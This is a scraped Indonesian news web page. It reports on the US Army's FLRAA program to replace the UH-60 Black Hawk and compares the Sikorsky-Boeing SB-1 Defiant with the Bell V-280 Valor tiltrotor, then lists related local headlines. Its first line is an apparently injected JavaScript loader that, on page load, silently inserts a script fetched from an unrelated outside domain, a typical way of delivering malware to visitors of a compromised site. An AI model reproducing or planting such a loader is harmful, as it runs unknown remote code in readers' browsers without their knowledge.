(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Umur helikopter transport tempur UH-60 Black Hawk sudah tak lama lagi. Militer Amerika Serikat (AS) dijadwalkan sudah akan memilih satu penggantinya pada 2022 melalui program Future Long Range Assault Aircraft (FLRAA).
Ada dua kandidat yang bersaing untuk menggantikan posisi sang legenda menjadi helikopter transport tempur Amerika per 2030 mendatang: SB-1 Defiant dan Bell V-280 Valor.
Dua spesifikasi utama yang disertakan dalam program FLRAA, yakni kecepatan yang lebih tinggi dan daya jelajah melampaui dari yang ada saat ini. Keduanya bisa diterjemahkan kepada kemampuan helikopter transport dan serang untuk lebih cepat dan terbang lebih jauh dalam sebuah medan perang, merespons cepat terhadap ancaman dan perkembangan situasi yang baru.
Angkatan Darat Amerika spesifik menginginkan helikopter tempurnya di masa depan bisa melesat sampai 230 knot atau bahkan lebih. Itu artinya 30 persen melampaui kecepatan mesin kembar kuda beban Black Hawk yang membuatnya bisa terbang rata-rata 159-knot.
Sikorsky-Boeing dan Bell merespons program tersebut dengan menawarkan desain yang benar-benar baru. Keduanya tak lagi menggunakan konfigurasi baling-baling utama dan ekor seperti yang umum ada pada helikopter saat ini.
Sikorsky-Boeing, misalnya, membuat SB-1 menggunakan sepasang baling-baling utama yang berputar saling berlawanan (co-axial). Sistem ini diharap memberi daya angkat dan stabilitas ekstra. SB-1 yang dibalut material compound melengkapi rotor utama itu dengan baling-baling pemberi daya dorong pada ekor.
Sedang desain yang ditawarkan Bell adalah sebuah tiltrotor mirip V-22 Osprey yang sudah digunakan Angkatan Laut Amerika. Dalam desainnya, helikopter ini mampu merotasi sayap dan baling-balingnya lurus ke atas untuk kebutuhan tinggal landas maupun mendarat secara vertikal, dan mengubahnya menghadap ke depan untuk terbang bak pesawat terbang umumnya.
Menurut Defense News, SB-1 dalam uji terbangnya 9 Juni lalu menyentuh kecepatan 205 knot dengan hanya separuh kekuatan baling-baling utamanya. Jika keduanya digunakan penuh diyakini helikopter bisa dibawa melesat 288 knot.
Sedang V-280 dalam demo terbang yang telah dilakukannya lebih dulu menunjukkan bisa melakukan perlambatan dari terbang 220 knot hingga melayang diam dalam 45 detik. Campuran helikopter dan pesawat terbang ini disebut telah mengumpulkan 170 jam tes terbang. (tempo)
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
This website uses cookies.